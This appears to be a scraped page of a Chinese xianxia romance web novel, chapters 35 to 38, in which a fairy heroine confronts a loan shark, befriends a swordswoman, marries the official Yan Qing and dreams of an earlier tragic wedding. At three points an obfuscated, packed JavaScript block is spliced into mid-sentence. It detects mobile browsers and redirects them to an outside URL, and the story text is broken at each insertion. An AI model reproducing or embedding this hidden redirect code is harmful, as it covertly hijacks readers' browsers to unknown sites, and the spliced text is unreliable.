赵老三一路哼着小曲,显然心情极好。他拐进了一条偏僻的小巷,我躲在墙角,屏住呼吸,仔细听着他的动静。没过多久,李氏也跟了进来,脸上依旧带着恐惧。 “钱我明明已经……还给你了……”李氏的声音颤抖着,几乎带着哭腔。 赵老三冷笑一声,将钱袋在手中抛了抛,语气里满是讥讽:“还?你当初借的钱是还了,可利息呢?利滚利,你现在还欠我一大笔呢!” 李氏的脸色瞬间惨白,身子摇摇欲坠:“利息?当初不是说好没有利息的吗?你……你这是讹诈!” 赵老三的脸色一下子阴沉下来,他猛地逼近李氏,声音里带着威胁:“讹诈?你有证据吗?当初的找我们钱庄借钱的是你们,借条上可没写清楚有没有利息。你要是不还,我就让你在这信州府待不下去!” 李氏被吓得后退几步,背抵在墙上,无路可退。她的眼泪终于夺眶而出,声音里满是绝望:“你……” 我看到这里,再也忍不住,从墙角冲了出来,挡在李氏面前,冷冷地看着赵老三:“赵老三,你欺人太甚!李氏明明已经还清了债务,你还想怎样?” 赵老三显然没料到会有人突然出现,先是一愣,随即狞笑起来:“哟,哪来的小娘子,敢管大爷的闲事?识相的赶紧滚开,否则别怪我不客气!” 我冷笑一声,转身扶着李氏的肩膀。 “您先回去吧,我待会把钱给您送家里来。” 见她很诧异我的出现,我有凑到她耳边轻声说:“我是颜大人派来的。” 还是颜大人有威信,李氏听后立马感动着连连点头,转身离开。 我站在巷子口,冷眼看着赵老三那副痞里痞气的模样。他斜倚在墙边,嘴里叼着一根草茎,眼神飘忽不定,显然没把我放在眼里。我眉头一皱,心中火气上涌,几步跨到他面前,厉声喝道:“喂!赵老三!赵痞子!” 赵老三懒洋洋地抬起头,眯着眼睛打量了我一番,嘴角扯出一抹不屑的笑:“所以你谁啊?多管闲事。” 我冷哼一声,双手叉腰,挺直了腰板,语气里带着几分傲然:“行侠仗义的楚女侠,记住没?” 他嗤笑一声,摆了摆手,一副不耐烦的样子。 “我记住你干嘛。” 我见他这副德行,心中怒火更盛,二话不说,抬腿就朝他踹了过去。赵老三猝不及防,被我踹得一个踉跄,捂着肚子弯下腰,疼得直叫唤。 “嗐哟喂!你敢打我!我要告颜大人!” 我冷笑一声,步步逼近。 “行啊。既然你想报官,我就只好——打断你的腿,抽断你的筋,扒光你的皮,把你的脑花掏出来碾碎榨干!” 赵老三脸色瞬间变得惨白,额头上冒出冷汗,喉咙里发出一阵干呕声。 “呕——女侠别说了……我要吐了……” 我冷冷地盯着他,语气里带着几分讥讽。 “吐?信州府明律规定,破坏公共环境者二十大板。我看着你吐,吐完就带着证据送你去见颜大人。” 赵老三一听,连忙捂住嘴,强忍着恶心。 “嗐哟喂,这位女侠你到底什么人啊,我跟你无冤无仇,你缠着我干嘛!” 我双手抱胸,目光如刀,直直刺向他。 “行侠仗义,不问因果!把李氏的钱还给她。” 赵老三一听,脸色变了变,随即露出一副无赖相,摊了摊手。 “呵,原来是来要钱的。没有!” 我眯起眼睛。 “没有是吧?你是真不信我敢打断你的腿,抽断你的筋,扒光你的皮,把你的脑花掏出来碾碎……” 赵老三听得头皮发麻,连连摆手。 “停停停!别说了!你自己不恶心吗!” 我冷哼一声。 “恶心?你看我打不死你!” 说罢,我一个箭步冲上去,揪住他的领口,狠狠扇了他几耳刮子。赵老三被我打得晕头转向,脸上顿时浮现出几道红印。 我松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119089|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开手,冷冷地盯着他:“钱呢!” 赵老三捂着脸,眼神闪烁,支支吾吾道:“钱不在我这儿了。” 我眉头一皱,厉声追问:“给谁了?!” 他缩了缩脖子,声音低得像蚊子哼哼:“我们老大……我也就是个收钱跑腿的,女侠别掏我的脑花……” “你们老大是谁?” “我不知道啊……他从不露面,我都是把钱根据指示放在一处地方……” “什么地方?” “每次都不一样……这次是在东街的那口井旁边。” 我冷哼,松开他的领口,拍了拍手,带着几分不屑。 “滚。” 赵老三如蒙大赦,连滚带爬地逃出了巷子,背影狼狈不堪。 东街的只有一口井,藏在巷陌深处。我来得及时,钱还没被拿走。 我掂量着钱袋正准备离开,赵老三又不识趣地当在我面前。 “还想被揍吗?” 忽然,赵老三吹了一声口哨,巷子口立刻涌进来几个彪形大汉,显然是赵老三叫来的帮手。他们围住我,脸上带着狞笑,显然不打算让我轻易脱身。 虽然我会法术,这么多人也是简简单单轻轻松松。但这里毕竟是凡间,为了不违背天规,只有赤手空拳了。 就在我准备拼死一搏时,忽然听到一声清冷的喝斥:“住手!” 紧接着,一道身影从天而降,稳稳地落在我和赵老三之间。一位身着青衣的姑娘,眉目如画,手中握着一柄长剑,剑尖直指赵老三的咽喉。 赵老三被这突如其来的变故吓得连连后退,脸色惨白:“你……你是谁?” 我也想问,姑娘你谁啊? 青衣姑娘冷笑一声,声音如冰:“路见不平,拔刀相助。这么多人欺负一弱女子,还敢嚣张?” 赵老三还想争辩,青衣姑娘却不再给他机会。她身形一闪,剑光如电,三两下便将赵老三和他的帮手打得跪地求饶。赵老三的帮手见状,吓得四散而逃,连头都不敢回。 我站在一旁,看得目瞪口呆。这位姑娘的身手,简直出神入化! 青衣姑娘收起长剑,转身看向我,眼中带着一丝关切:“你没事吧?” 我摇了摇头,心中满是感激:“多谢姑娘相救,不知姑娘尊姓大名?” 她微微一笑,收起长剑。 “我叫姜妍,路过此地,见有人行凶,便出手相助。” “多亏姜姑娘出手相救,我才能安然无恙。” 姜妍摆了摆手,唇角上扬。 “举手之劳,不必客气。倒是姑娘,胆识过人,令人佩服。” 我正想谦虚几句,忽然感觉手臂传来一阵刺痛,低头一看,才发现不知何时被划了一道口子,鲜血正缓缓渗出。我皱了皱眉,还没来得及说话,姜妍已经注意到了我的伤口。 “你受伤了?”她的语气瞬间变得严肃,目光落在我手臂上,眉头微蹙。 “没事,只是小伤。”我轻描淡写地揭过,但姜妍显然不打算听我的。 “小伤也不能大意。”她二话不说,拉起我的手腕,语气不容置疑,“走,我带你去最近的医馆处理一下。” 我还未来得及反应,便被她拉着快步走向巷口。她的手掌温热而有力,带着一种令人安心的坚定。我看着她侧脸的轮廓,心中涌起一阵暖意。这位萍水相逢的姑娘,竟如此热心肠。 谁说的“快活似神仙”,蓬莱仙岛可遇不到这般热心肠的人。 医馆并不远,姜妍显然是熟门熟路,径直带我走了进去。大夫为我处理伤口,敷上药膏,又仔细包扎好。整个过程,姜妍一直站在一旁,目光紧盯着大夫的动作。 这姑娘,怎么比我还紧张。 “好了,伤口不深,按时换药,几日便能痊愈。”大夫收拾好药箱,叮嘱了几句。 姜妍这才松了一口气,转头看向我,语气中带着一丝责备:“以后可别再这么莽撞了,若是伤得再重些,可怎么办?” 我笑了笑,心中既感动又有些无奈:“好,我记住了。多谢姜姑娘关心。” 她摇了摇头,唇角再次扬起:“叫我姜妍就好,姑娘姑娘的,听着怪生分的。” “好,姜妍。”我从善如流地改口,心中对她的好感又多了几分。 走出医馆时,天色已近黄昏,夕阳的余晖洒在街道上,给一切都镀上了一层金色的光晕。我们并肩走在街上,聊起了各自的经历。姜妍性格爽朗,谈吐风趣,几句话便让我觉得与她相识已久。 分别时,我有些不舍,忍不住说道:“今日多谢你,若不是你,我恐怕要归西了。” 姜妍摆了摆手,笑意盈盈:“都说啦,举手之劳而已。欸,下次若有机会,我们再一起喝茶聊天。” 我点了点头,心中满是期待:“好啊,一言为定。我听闻瓦肆那边的戏唱得不错,下次一起。” “没问题!” 她朝我挥了挥手,转身离去,背影在夕阳下拉得很长。我站在原地,看着她渐行渐远,心中忽然涌起一阵愉悦。 没想到,此次人间之旅,觅一良人,还得一挚友,妙啊。 36. 荼蘼花事 踏着月影,我提着药,轻快地一蹦一跳回府,心中还回味着与姜妍的相遇,嘴角不自觉地扬起一抹笑意。刚到大门口,便与正要出门的颜卿撞个正着。他一身青衫,许是刚从书房出来。 “颜卿!” “你去哪儿了?”他眉头微蹙,“怎么这么久才回来?” 我笑了笑,一个蹦跶跳到他面前。 “我今天交到朋友了!而且她身手可了得!为人亲善开朗……” 我手舞足蹈地跟他讲着今日的喜事,他一脸和蔼地看着我,渐渐地,似乎发现了什么,眉头渐渐蹙起。 颜卿的目光落在我手中的药包上,又看到我衣袖上的血迹,神色微微一凝。 “你受伤了?” 我下意识地将手臂往身后藏了藏。 “没什么大事,就是不小心被路边耍剑的孩子误伤了而已。” 颜卿显然不信,上前一步,轻轻握住我的手腕,将袖子撩起,露出包扎好的伤口。他的指尖微凉,触碰到我的皮肤时,带来一丝酥麻的触感。他的目光落在伤口上,眉头皱得更紧。 “伤得重不重?还疼不疼?” 我摇了摇头。 “真的不碍事,大夫说几日便能痊愈。你别担心。” 我试图轻描淡写地揭过,但颜卿显然不打算就此罢休,拉着我径直走向他日常起居的屋子。他的手掌温热而有力,带着一种不容拒绝的坚定。我被他拉着,脚步有些踉跄,却也不敢挣脱。 “真的不用……” “不行。” 见他态度坚决我也暗自作罢。 谁叫他疼我呢。 进了屋子,他轻轻按着我的肩膀,让我坐在椅子上。屋内陈设简洁,书案上堆满了卷宗,空气中弥漫着淡淡的墨香。颜卿转身从柜子里取出一个小巧的药箱,动作熟练地打开,里面整齐地摆放着各种药瓶和纱布。 他蹲下身,轻轻撩起我的袖子,露出包扎好的伤口。他的指尖小心翼翼地触碰着纱布边缘,我看着他专注的侧脸,心中涌起一阵暖意,却又有些无奈。 “大夫已经处理过了,你何必再费心?”我轻声说道,试图缓解他的紧张。 颜卿没有抬头。 “你的伤,我总要亲自看过才放心。” 他的手指轻轻解开纱布,动作轻柔得仿佛在对待一件易碎的瓷器。伤口并不深,但在他眼中,却仿佛是什么不得了的大事。他仔细检查一番,确认没有发炎或感染的迹象,才稍稍松了口气。 “还好,伤口不深。” 随即,他从药箱中取出一瓶药粉,轻轻洒在伤口上,又用干净的纱布重新包扎好。 我看着他熟练的动作,忍不住问道:“你怎么会这些?” 颜卿的手微微一顿,语气平淡:“想着总会派的上用场,便和唐大夫学了些。虽不精通,但处理小伤还是够用的。” “这样啊……” 我并不把赵老三的事情放在心上,反正他已经得到应有的惩罚,我也出了口恶气揍了他,就当结案。 颜卿继续为我包扎,脸上的神情依旧如他在公堂上那般冰冷无光,嘴上说一定要将那伙人捉拿归案、誓不罢休。 一时不知他是出于信州府的必行考虑,还是为了我。 “颜卿。”我轻轻叫他的名字。 他看向我,手上的动作并未停下,只是放慢了些。 “我没事的,很快就会好的。” 颜卿愣了愣,忽地弯起眉眼,朝我笑了笑。 “明明痛的是你,你反倒来安慰我。” 我也朝他笑了笑。 “那你别苦着脸啦,否则我心痛不已,做出什么傻事。” “你做的傻事还少吗。” 我一下噎住,心虚地别开视线,转移话题。 “也不知道今天救我的姑娘有没有受伤。不过她身手那么好,那么高的墙一蹦就上了,应该没受伤……” 一声轻笑,他抬起手指,小心翼翼地抚摸上我的眼睛。 我一下僵住,不敢轻举妄动。 “这里也受伤了。” 他指我眼皮上一处细微的伤口。 “这点小伤……你亲一下就能好。”我调侃道。 他的手指顿了顿,而后,他朝我凑近了,在我的眼睛上轻轻一吻。 我的呼吸骤然一停,对上他羞涩躲闪的视线。 知道害羞还敢亲我…… 旋即,他的手掌按在我的腰上,手臂收拢,嘴唇紧抿又松开,将我牢牢扣在怀里。 滚烫的吻径自落下,所有的言语都模糊在了交缠的呼吸中。 夜色渐浓,静谧旖旎。晚风拂过树梢,头顶布满点点星光。 颜卿的呼吸声落进我的耳朵,分外清晰。我无处悬停的手,在半空被人捕捉,攥紧在手心。 下一秒,我感觉飞升上空,又坠入深谷。他忽地将我抱起来走在床榻边,又将我放下落入温暖。 颜卿的吻轻轻地点过我的脖颈,笨拙的令人有些发痒。 我看着他头顶束起的发,轻轻开口。 “颜大人玉树临风、聪慧过人,可曾有人上门说亲?” 他埋在我的颈间,潮热的气息呼在我的敏感处。 “不曾。” “我不信。怕不是全信州未出阁的姑娘都争着抢着要嫁给你。” 他攥紧我的手稍稍松开,分开我的手指,与之相扣。 “那你以前,和别的男人做过这种事吗?” 我笑而不答,拨开他额前的发。 “你呢?” “我,是第一次。” 这一夜格外漫长。 我躺在榻上,辗转反侧,脑海中不断回放着两人初次交融的画面。他的指尖触碰我肌肤时的温度,他低头时微微蹙起的眉头,还有他反反复复一直问我“疼不疼?”“要不算了?”“你还好吗?”时那低哑而温柔的声音,都像是一根根细丝,缠绕在我的心头,让我无法入眠。 我翻了个身,描摹身旁之人深邃的眉眼,又好笑又愧疚。 我不想让他知道,我曾与许多人有过类似的经历——那些或真或假的情意,那些或深或浅的纠葛,早已让我学会了如何在感情中游刃有余。可是,面对颜卿,我却不想让他觉得我太过世故,太过懂得如何拿捏人心。 想做他心头的月白,为他带去星辰与光芒。 可是,他太迟钝了,看得人好着急,想上手帮他。 这种矛盾的心理,让我感到无比煎熬。 我轻轻叹了口气,将脸埋进被子里,试图让自己冷静下来。或许,我应该放下那些顾虑,单纯地去感受他的好,去回应他的真心。可是,我又怕自己一旦放下防备,便会陷入无法自拔的境地。 他不过寿命几十年的凡人。 颜卿的呼吸平稳,似乎做了个好梦,眉眼弯弯。忽地睁开眼睛,与我四目相对,在我的诧异中将我拥入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119090|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀中,再次进入梦境。 我轻轻笑着抚摸他的眼、鼻、嘴。 “颜如卿月,诞星辰……或许伴你,做一颗坠落人间的孤星,也不错。” 荼蘼花开,良辰正逢,风携花香,月映佳期。 六月十五。 信州府的天空还未破晓,整座城便已被红绸染透。街市上的灯笼从城门口一路挂到信州府,朱漆门楣上悬着丈余长的红缎,金线绣的“囍”字在晨光中熠熠生辉。檐角铜铃随风轻响,与街巷间此起彼伏的喜乐声交织,震得枝头喜鹊都扑棱棱飞起。 我坐在妆台前,任由喜娘将最后一支赤金嵌红宝的步摇插入发髻。铜镜里,霞帔上的金丝鸾鸟几乎要振翅飞出,裙摆层叠的缠枝牡丹纹在烛火下泛着粼粼波光。桂花捧着妆匣的手微微发抖,眼里噙着泪。 “夫人今日……真像画里的九天玄女。比八年前还好看。” 我笑着用手绢替她拭去眼角的泪。 外头忽地炸开一串爆竹声,惊得我指尖一颤。 “良辰吉时到——” 傧相的高喝穿透喧嚣,我攥紧袖口,深呼吸。房门推开被人推开的瞬间,忽然一股花香伴风而来。红烛高照,喜气盈门。颜卿缓步踏入新房,绣着龙凤呈祥的锦帘轻轻掀起,他温润如玉的声音在静谧的房中响起:“娘子,我来接你了。” 我端坐床沿,低下娇羞的容颜,再次对上他深情地眸子。 八载春秋化作指间一缕红线,终于在此刻系成同心结。 喜娘各持彩缎一端,轻轻递到新人手中。彩缎如流云般轻盈,两端绣着并蒂莲花,象征着永结同心。颜卿修长的手指握住彩缎一端,我则轻轻拈起另一端。 “请新人移步!”喜娘的声音带着笑意。 颜卿倒退而行,目光始终凝视着我,片刻不离。似要把我此刻的样子深深烙印,永世不忘。我亦步亦趋,红裙曳地,绣鞋轻移。两人相对而行,彩缎在中间轻轻摇曳,宛如一道绚丽的虹桥。 颜卿的步子很稳,哪怕是倒退而行,也如履平地。我没忍住抿嘴偷笑,但怕坏了礼仪,没问出那句到嘴边的话,“颜大人想必私下偷摸练习过呢。” 至庙堂前,我与他并肩而立。香烟缭绕中,颜卿执笏板,我则敛衽,一同向先祖行礼。礼毕,轮到我倒退着向新房行去,颜卿紧随其后,一副生怕我摔了的样子。红绸彩缎在两人之间轻轻晃动,好似诉说着绵绵情意。 入得新房,喜娘扶着我在床沿坐下。四目相对,我又是一个没忍住颔首偷笑。 各自取下一缕头发,将缎带、钗子、木梳、发丝系在一起后,喜娘端来两杯连在一起的酒。红烛摇曳,映得新房内一片暖融。一对鎏金酒杯静静而立,杯中琼浆微漾,泛着琥珀色的光泽。 颜卿执起一杯,指尖轻轻摩挲着杯沿,目光温柔地落在我身上。 “娘子。”他低声唤道,声音里是化不开的柔情。 我抬眸,对上他深邃的目光,脸颊顿时染上一抹绯红。 手臂交错,彼此间的距离逐渐拉近。颜卿始终凝视着我的眼睛,缓缓将酒杯送至唇边。酒液入喉,带着淡淡的甜意,却不及他眼中的温柔醉人。 饮尽杯中酒,抛杯入床底,喜娘退后,房里只剩下我和他两个人。 沉寂了好久,身体的温度只增不减。忽然,他低笑一声,覆上我放在身前的手,。 “从今往后,你我便正式结为夫妻了。此生此世,永不分离。” 37. 豆蔻香残 此生此世,永不分离…… 我不明白为什么一直有个声音告诉我“这次,莫要负了真心。” 是神器吗?是神器告诉我的吗?这句话,到底是什么意思? 不必再寻找到我真正的名字,不必寻回过去的记忆,比起过去,珍惜眼下之人……的意思吗? 一股力量将我拉至身前。我靠在他胸前,听着他有力的心跳。不知是酒意醉人,还是他的怀抱太过温暖。我轻轻“嗯”了一声。 细若蚊吟,却让他心头一颤。 “娘子。” 兴许是酒的缘故,他呼喊出声音多了几分旖旎,温热的手掌环住了我的腰。 我轻轻笑了一声。 “夫君醉了?” “嗯。醉了……” 他说话有些含糊不清,我笑着捧起他的脸,直视他的眼睛。 “醉了我们就睡觉吧。” 他温柔地看着我,浅笑一声。 “好。听娘子的。” 我点了点头,指尖点上他的唇瓣,拨弄他的唇珠。 “我说的可是正经睡觉。毕竟起太早,拜来拜去拜了一天,我困了。” “我也说的正经睡觉。”他抬手缓缓取下我的发顶的朱钗,“我帮你取下来。” 我端坐在铜镜前,看着镜子里为我取下凤冠的颜卿。 六月十五,并不是个好日子。 半年节,民间俗话说这天并不适合举办婚礼,被视为“半桩婚姻”,寓意不好。 颜卿却偏说,这是个好日子。 不用猜,按照颜卿凡事都依着我的性子,六月十五这日子一定是我八年前定的。以我风流的性子,这日子选得极好。既能满足我与他成亲的私欲,又能借着民间说法逃离他身边。 我不禁开始怀疑八年前婚礼上的掳走大戏,也是我事先预定好的演出。 颜卿见我沉默不语,面色逐渐凝重,浅笑着问道:“在想什么?” 我对上镜中他的目光,笑着摆了摆头。 “改日,我想去一趟清溪山。” 想寻一寻方大仙,替我解梦。 他垂眸看我,温柔地捋了捋我披散在身后的发丝。 “好。” 红烛摇曳,我平躺在柔软的床铺上,盯着顶上红色金丝的床幔发愣。繁重的思绪让我根本无法入睡。 洞房花烛夜,空气里却安静得烛火燃烧的声音清晰可闻,我能听到颜卿均匀的呼吸声。 睡得太香了吧…… 我转头看向身旁熟睡的人,没料,正好撞进他直直盯着我的眼眸。 “不是困了?”我笑着转向他。 “怎么睡得着……” 我愣愣看着他,颜卿温柔的目光也正在看我,他往前探了探身子,吻了我。 绵长的吻夺走我所有思绪,只让我看着他,关注他,沉溺于他。 偏瘦的身体压下来,夺走我视野里的光。柔软的发丝扫过我的脸庞、脖颈、身前……扫过一切与他坦诚相见的面。 第一次是你,以后的每一次都是你。 可你,却不是我的第一次。 这晚,我又做梦了。 重生后第一次,做了个醒来后记得一清二楚的梦。 四周张灯结彩,红绸高挂,喜气洋洋。鼓乐唢呐声、欢笑贺喜声交织在一起,热闹非凡。 我低头看了看自己,发现自己穿着一身素白的衣裳,与周围的喜庆格格不入。 贺喜的人来来往往,但奇怪的是,周围的人似乎都看不到我。 新郎新娘拜堂时,我站在人群中,看着他们一拜天地,二拜高堂,夫妻对拜。新娘穿着华丽的红裳,盖头遮住了她的面容,只能从她微微颤抖的手指看出她的紧张。新郎则一身红衣,身姿挺拔,虽然看不清脸,但举手投足间透着一股英气。 喜事一件,我却心生焦躁。 礼成,新娘被送入洞房,而我则被热闹的宴席吸引,自然而然地坐了下来。桌上摆满了美酒佳肴,周围的人推杯换盏,笑声不断。我端起一杯酒,轻轻抿了一口,酒香浓郁,入口回甘。 正当我沉浸在宴席的热闹中时,一个女人突然坐在了我身边。一身深紫色的长裙,气质冷艳。她的眼神凌厉,却在垂眸对上我的视线时,眉眼弯弯尽是温柔。 “你倒是悠闲,坐在这里喝酒。”她的声音低沉而慵懒。 我愣了一下,环顾四周,有些疑惑地看着她。 “你看得到我?” 她轻笑一声,唇角勾起一抹意味深长的弧度。 “当然看得到。不过,其他人可看不到你。” 我环顾四周,宴席座无虚席,独独我这一桌无人光顾。 她抿了一口酒,语气淡然。 “这是你的梦,或者说,是你的一段记忆。你只是旁观者,无法干涉这里的一切。已经发生过的事情,是不可逆转的。” “我的记忆?”我皱了皱眉,“以往都是身临其境,为何这次是以旁观者的身份?” 她没有回答,只是轻轻放下酒杯,抬手揉了揉我的头发。她的动作自然而亲昵,仿佛这样的举动曾做过无数次。我愣了一下,心中莫名涌起一股熟悉感,却怎么也想不起她是谁。 “你……认识我吧?”我试探着问道,“难道这场梦……” 她微微一顿,目光中闪过一丝复杂的情绪,随即恢复了那副高冷的模样。 “认识又如何?你现在记不得,我说了也是徒劳。” 她的语气依旧冷淡,我却从她的眼神中读出了一丝惆怅与无奈。她似乎想说什么,却最终没有开口,只是轻轻叹了口气。 “好好欣赏吧。这次,我暂且替你保守秘密。”她站起身,轻轻拍了拍我的肩膀,“享受姐姐顶着被责罚的风险,为你营造的这场梦吧。” 说完,她的身影便如同烟雾般消散在我眼前。 宴席依旧热闹,可我却没了喝酒的兴致。我站起身,穿过人群,朝着洞房的方向走去。因为是梦境,我的身体可以直接穿过紧闭的门扉,走进室内。 洞房里,烛火摇曳,映照出满室的红色。新娘端坐在床边,双手紧紧攥着衣角,似乎在等待着什么。 时间一点点流逝,红烛燃半,新郎迟迟未归。屋外的宴席已经散去,静地只有收拾热闹后窸窸窣窣的声响。 雨下下来,雷鸣划破。 终于,新娘按捺不住,自己揭下了盖头。 就在那一瞬间,我的心猛地一颤——那新娘的脸,竟然是我自己! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119091|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的婚事?可我的婚事不是今日?而且整座宅子怎么看都不是信州府啊。 这是过去发生的事,是我的记忆……就是说,颜卿不是与我第一个成亲的人?! “新娘的我”神色紧张,目光中透着不安。她似乎察觉到了什么不对劲,猛地站起身,抓着盖头夺门而出。我下意识地跟了上去,脚步匆匆,心跳如鼓。 她穿过长廊,跑过庭院,最终停在了院子外面。我也跟着停下,眼前的景象让我瞬间屏住了呼吸—— 红衣少年手持长刀,正与数十名黑衣人厮杀。他的身影在雨中显得格外单薄,却依旧奋力挥刀,试图杀出一条血路。雨水混着鲜血,染红了他的衣裳,也染红了脚下的地面。 “新娘的我”站在不远处,脸色苍白,嘴唇颤抖,似乎想要呼喊,却发不出声音。我站在她身后,心中涌起一股难以言喻的悲痛,仿佛这一幕曾在我生命中真实发生过。 终于,红衣少年体力不支,踉跄着跪倒在地。他的长刀插在地上,支撑着他摇摇欲坠的身体。雨水顺着他的发丝滴落,混着鲜血,在地上汇成一片猩红。 “新娘的我”终于喊出了声。 “祈源——!” 红衣少年听到声音,艰难地抬起头,看向她的方向。他的脸上沾满了鲜血,却依旧挤出一抹笑容,嘴唇动了动,似乎在说:“对不起……” 下一刻,他的身体重重倒在地上,溅起一片水花。 “新娘的我”冲了过去,跪在他身边,颤抖着伸出手,却不敢触碰他。她的眼泪混着雨水滑落,声音哽咽。 “祈源……贺祈源……” 我站在一旁,心中仿佛被撕裂一般,疼痛难忍。 他刚才的视线,分明是和我对上了……我没有看错……他看的人,是我? 我想上前,却发现自己动弹不得,只能眼睁睁看着这一切发生。 雨越下越大,模糊了我的视线。当我再次看清时,红衣少年的身影已经消失,只剩下“我”跪在雨中,手中紧紧攥着那块染血的盖头。 贺祈源……好熟悉的名字…… 这场梦,我是不是曾经梦到过…… 电光火石间,惊雷劈过,眼前的画面被刺眼的白光吞噬。 我猛地惊醒,坐起身来,大口喘着气。额头上满是冷汗,心脏剧烈跳动,仿佛刚刚亲身经历了一场生死离别。 我低头看了看自己的手,仿佛还能感受到梦中那股冰冷的雨水和灼热的鲜血。梦中的情景清晰得可怕,仿佛不是梦,而是一段被尘封的记忆。 “祈源……贺祈源……” 我低声念着这个名字,心中涌起一股莫名的熟悉感。 他到底是谁?为什么我会梦到他?为什么从前的梦都记不住,这次却…… 好乱。心口绞得疼。 不行,得沉心静气,不可乱了方寸。 我摇了摇头,试图将这些纷乱的思绪甩开。手腕凑到鼻尖前,嗅着手链上的气息,慢慢平复下来。 窗外,天已经蒙蒙亮。我深吸一口气,告诉自己这只是一场梦,不必太过在意。等下次再遇到方大仙,他会告诉我的。 可心底深处,却有一个声音在轻声提醒我:这场梦,不能再忘。 再?为什么是再? 38. 花困蓬瀛 早膳刚过,信州府门外来了个人,桂花急匆匆地跑来告诉我,说是找我的。我心中疑惑,跟着桂花走到府门口,远远望去,哪里是一个人,分明是一老一男一女。等我凑近一看,才发现还有一个年轻的男子躲在了老人的身后,正探出半个脑袋,好奇地打量着我。 四人见我走近,齐齐看了过来。老人一身灰袍,须发皆白;男子身材高大,眉目冷峻,一身玄色长袍;女子则身着淡紫色纱裙,眉眼间透着几分冷艳与傲气,好熟悉的一张脸;而那年轻的男子则穿着一身青色长衫,眉眼清秀,脸上带着几分稚气。 我下意识地后退了一步,心中有些发憷。 对方四个人,我只有一个人,若是他们有什么不轨之心,我可应付不来。 走为上计。 老人似乎看出了我的顾虑,微微一笑,语气温和:“姑娘不必害怕。我们只是找你有事相商,不会伤害你。可否请姑娘和我们去一个地方?” 我皱了皱眉,心中依旧警惕:“有什么事不能在这里说吗?” 老人摇了摇头,目光中带着几分深意:“此事关乎你的人生大事,需找个安静的地方详谈。” 我正想拒绝,冷峻男忽然开口,声音低沉而有力:“你若害怕,只与爹去便是,我们三人不跟着。” 他话音刚落,冷艳的女子便冷哼一声,语气中带着几分不满:“你这话是什么意思?我们自然要一起跟去。你不想去别拉上我们。” 年轻的男子则微微低头,声音腼腆:“我……我也想跟着去。我还是第一次出门……人生地不熟的,会走丢。” 老人无奈地摇了摇头,满脸写着无语,似乎不明白自己为什么要带他们来。 “罢了,一起去吧。” 说罢,他做出请的姿势,邀我上他们的马车。 “什么人生大事?” “去了,你便知晓。” 千里清光,荼蘼花香。 马车缓缓行驶,车厢内的气氛依旧压抑而微妙。我坐在角落,手心紧紧攥着青竹发簪,指尖微微发凉。发簪的尖端抵在掌心,带来一丝刺痛,却让我稍稍安心了些。虽然眼前这四人看起来并无恶意,但他们的神秘与陌生让我无法完全放下戒备。 要是察觉到有危险,我就先干翻老的。不对,应该先放倒两个男的,动作得快,一刀一个,否则我打不过他俩。女的看上去也好凶的样子,而且比我高出那么一大截,我难不成跳起来揍她,抓她的头发?! 老人闭目养神,神色淡然。冷峻的男子抱臂而坐,偶尔扫过我时,眼神中带着几分审视。女子则微微侧头,透过车窗看向外面的风景,清冷美人,宛若神女。至于那年轻的男子,依旧低着头,手指轻轻摩挲着衣袖,显得有些局促不安。莫不是有什么疾症? 马车颠簸了一下,我的身体微微前倾,发簪的尖端刺痛我的肚子。我倒吸一口凉气,努力让自己冷静下来。车厢内的空气仿佛凝固了一般,只有车轮碾过路面的声音和偶尔传来的风声打破了沉寂。 “你成亲了?恭喜。那发簪,是你夫君送你的?” 冷峻男忽然开口,声音低沉而冷冽。 我心中一紧,下意识地将发簪往袖口里藏了藏。 “谢……谢。” 仙女姐姐转过头来,目光落在我身上,轻浅笑意。 “不必如此戒备。我们若真想对你不利,也不必等到现在。” 我抿了抿唇,没有接话。 “你若是害怕,可以坐到我这边来。”她拍了拍身边的空位。 我摇了摇头,“不用了,我坐这里就好。” 老人忽然睁开了眼睛,“你手中的发簪,莫要伤了自己。” 我的心猛地一沉,手指微微收紧,将发簪悄悄往袖口深处推了推。 马车终于停了下来,车夫掀开车帘,恭敬地说道:“几位大人,缘溪行上走几步便是凉亭。” 凉亭四周绿树成荫,溪水潺潺,风景如画,我却无心欣赏。我站在凉亭外,目光警惕地扫视着四周,随时准备应对突发情况。 可就在我们踏入凉亭的瞬间,四人的相貌忽然发生了变化。 老人依旧是那副慈祥的模样,我认出了他——方大仙。而那冷艳的女子,赫然是梦里酒席上与我说话的仙女姐姐。至于那冷峻的男子,我仔细打量了他一番,忽然想起,他竟是以前在医鹿山和柳砚清下山义诊时见过的那个人! 而年轻男子的变化最为明显,原本清秀的面容此刻更添了几分仙气,眉眼间透着一股纯净与灵动,仿佛不染尘埃。 